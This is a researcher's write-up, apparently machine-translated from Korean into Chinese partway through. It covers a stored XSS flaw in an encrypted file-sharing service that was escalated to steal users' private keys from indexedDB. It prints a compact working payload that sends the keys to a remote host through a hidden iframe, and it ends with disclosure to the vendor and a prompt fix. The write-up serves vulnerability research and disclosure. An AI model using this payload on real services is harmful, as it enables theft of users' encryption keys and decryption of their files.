저장된 XSS 취약점을 통해 대상 사용자의 로컬 개인키 정보 획득

王林
풀어 주다: 2019-12-04 17:40:28
앞으로
2679명이 탐색했습니다.

저장된 XSS 취약점을 통해 대상 사용자의 로컬 개인키 정보 획득

Background

얼마 전 네덜란드 기술 웹사이트에 게시된 기사에서는 새로 출시된 온라인 서비스를 보여줬는데, 이 서비스는 웹을 통해 사용자의 엔드투엔드 파일 요청을 달성하는 데 사용한다고 주장했습니다. 전염.

전과 마찬가지로 저는 이 안전한 암호화 구현에 관심이 많았기 때문에 이 글을 보고 테스트해보고 싶은 충동이 들었습니다. 기사에서는 웹을 통한 이런 파일 요청이 안전하다고 주장합니다. 사실인가요? 암호화 서비스 웹사이트에서는 RSA 및 AES 개인 키를 사용하는 몇 가지 로컬 엔드투엔드 암호화 방법만 소개하고 있으며, 구체적인 암호화 구현에 대한 심층적인 소개는 제공하지 않습니다. 게다가 해당 애플리케이션은 오픈 소스가 아니기 때문에 어렵습니다. 코드를 감사하거나 검토하려면 백서에서 시작하는 방법을 설명합니다.

암호화 서비스 웹사이트에서는 자신들이 제공하는 서비스가 절대적으로 안전하고 신뢰할 수 있다고 주장하지만 누구나 실수할 수 있다고 생각하여 심층적으로 테스트해 보기로 했습니다.

이름에서 저장된 XSS 취약점 발견

계정 등록 후 테스트를 시작했는데, 곧 계정 이름과 회사명 필드에 저장된 XSS 취약점이 있음을 발견했습니다. 암호화 서비스를 통해 사용자는 다른 서비스 사용자에게 이메일로 보낼 수 있는 링크를 생성하는 파일 요청을 생성할 수 있습니다. 수신자 사용자가 링크 이메일을 받은 후 이메일을 열면 파일 업로드 작업을 수행할 수 있는 페이지가 표시됩니다. 사용자가 생성한 파일 요청에는 사용자가 클라이언트에서 파일을 암호화하는 데 사용하는 공개 키 정보가 포함되어 있습니다.

여기서 문제는 이 파일 요청으로 생성된 링크 페이지에서 사용자 이름 또는 회사 이름 필드가 필터링되지 않고 XSS 페이로드에 의해 트리거될 수 있다는 것입니다. XSS 페이로드-<script>alert('안녕하세요!' );</script>, 해당 파일 요청 링크를 다른 사용자에게 보낸 후 링크가 열리면 다음과 같이 XSS가 실행됩니다.

저장된 XSS 취약점을 통해 대상 사용자의 로컬 개인키 정보 획득

즉, 대상 사용자의 시스템에서 임의 실행이 가능합니다.

대상 사용자의 로컬 개인 키 정보를 가져옵니다

암호화 서비스는 사용자 파일을 보호하기 위해 클라이언트 측 비대칭 암호화를 사용합니다. 웹사이트는 형식으로 배포되므로 암호화 메커니즘은 JavaScript를 통해 구현되어야 합니다. 즉, 로컬 개인 키 정보는 JavaScript를 통해 얻을 수 있습니다. 분석 결과, 암호화 서비스는 사용자가 생성한 프라이빗 키 정보를 로컬 indexedDB 데이터베이스에 저장하며, 네트워크를 통해 전송할 수 없는 것으로 확인됐다.

사용자의 개인 키는 사용자의 암호화된 파일을 보호하기 위한 중요한 정보입니다. 개인 키를 통해서만 페어링된 키로 암호화된 파일을 해독할 수 있습니다. 개인 키는 잘 보호되어야 하며 다른 사람과 공유할 수 없습니다.

저장된 XSS 취약점이 존재하는 이름 필드의 페이로드를 변경하면 사용자의 개인 키를 얻을 수 있다고 짐작하셨을 것입니다. 로컬 저장소 정보를 얻기 위한 코드를 작성하고 레이어별로 검사하고 테스트했습니다. 마지막으로 로컬 사용자의 개인 키를 얻기 위해 다음 코드를 생각해 냈습니다.

var dbReq = indexedDB.open("companyname");
dbReq.onsuccess = () => {
    var store = dbReq.result.transaction(["keys"]).objectStore("keys").get("52_private_key");
    store.onsuccess = () => alert(store.result.pem);
};
로그인 후 복사

이 코드를 이름 필드에 삽입한 다음 리바운드는 사용자의 개인 키 정보를 표시합니다.

저장된 XSS 취약점을 통해 대상 사용자의 로컬 개인키 정보 획득

공격자 측에서 피해자의 개인 키 정보를 수집합니다

이런 방식으로 사용자의 개인 키 정보를 표시하는 것은 좋지 않습니다. , 우리가 제어하는 ​​원격 서버로 보내야 합니다. 괜찮죠? 이를 위해 POST를 이용하여 내가 관리하는 원격 서버에 개인키 정보를 전송해 보았습니다. 첫 번째 문제가 발생했습니다.위에서 언급한 XSS 취약점이 있는 이름 영역은 최대 255자까지만 입력할 수 있지만 JavaScript 요청이 매우 길기 때문에 코드를 최대한 단순화해야 합니다.

하지만 곧 서비스 애플리케이션에 jQuery가 존재한다는 사실을 발견했습니다. 이를 통해 매우 간단하고 짧은 Ajax 요청을 수행할 수 있다는 점은 정말 좋습니다. 하지만 결국 CORS 제한으로 인해 실패했습니다.

제 원격서버가 제대로 설정되지 않아서 그런거라고 하시는 분들도 계시는데, Access-Control-Allow-Origin을 *로 설정해 놓았는데 그래도 동작하지 않아서 한계라고 밖에 추정할 수 없네요. 서버 측 CORS 헤더 구성.

但对于非Ajax请求来说,我发现在GET请求中,如果把数据放到URL后就是一种很好的传输方式,为此我选择了iframes方式的链接嵌入。把数据放到URL之后,如//example.com/?k=DATA,然后在请求生成的链接页面中隐蔽添加了一个iframes。受害者浏览器会加载该iframes框架,把数据回传给我,如:

$(&#39;body&#39;).append(
    &#39;<iframe src="//example.com/?k=&#39; +
    btoa(JSON.stringify(secret_data)) +
    &#39;" />&#39;
);
로그인 후 복사

用window.location.href方法让受害用户执行重定向跳转到攻击者页面,也是可行的,但这难免会引起怀疑。

就这样,我们就能远程收集获取到目标用户的私钥信息了!

Proof of Concept

经过测试,我把上述代码压缩,并填入我的远程服务器短域名,刚好是250个字符,低于255个最大字符的限制。完美!

<script>setTimeout(()=>indexedDB.open("companyname").onsuccess=(a)=>a.target.result.transaction(["keys"]).
objectStore("keys").getAll().onsuccess=(b)=>$(&#39;body&#39;).append(&#39;<iframe src="//example.org?k=&#39;+btoa
(JSON.stringify(b.target.result))+&#39;">&#39;),1);</script>
로그인 후 복사

参考以下POC视频:

https://uploads.timvisee.com/p/stealing-private-keys-from-secure-file-sharing-service-poc-video.webm

在我的远程服务器端,我用了一个简单的PHP脚本来收集上述传输回来的附加在URL后的目标用户数据,进行解析提取,会形成一个keys.txt文件进行存储。

总结

测试有效后,我及时联系了厂商,他们在15分钟就给了回复,经过一番讨论之后,他们在一个小时之内就及时修复了该漏洞。所以,我的经验是,别单单根据网站或厂商的说明去相信一项服务的安全性,安全的前提须基于以下因素:

运行有一段时间;

是开源的;

经过现实应用的考验;

经过多方参与的安全审计;

只有经过深入的研究和审查才能声称是安全的;

或者由其它可信安全的第三方托管运行。

相关文章教程推荐:web服务器安全教程

위 내용은 저장된 XSS 취약점을 통해 대상 사용자의 로컬 개인키 정보 획득의 상세 내용입니다. 자세한 내용은 PHP 중국어 웹사이트의 기타 관련 기사를 참조하세요!

관련 라벨:
원천:freebuf.com
본 웹사이트의 성명
본 글의 내용은 네티즌들의 자발적인 기여로 작성되었으며, 저작권은 원저작자에게 있습니다. 본 사이트는 이에 상응하는 법적 책임을 지지 않습니다. 표절이나 침해가 의심되는 콘텐츠를 발견한 경우 admin@php.cn으로 문의하세요.
인기 튜토리얼
더>
최신 다운로드
더>
웹 효과
웹사이트 소스 코드
웹사이트 자료
프론트엔드 템플릿
회사 소개 부인 성명 Sitemap
PHP 중국어 웹사이트:공공복지 온라인 PHP 교육,PHP 학습자의 빠른 성장을 도와주세요!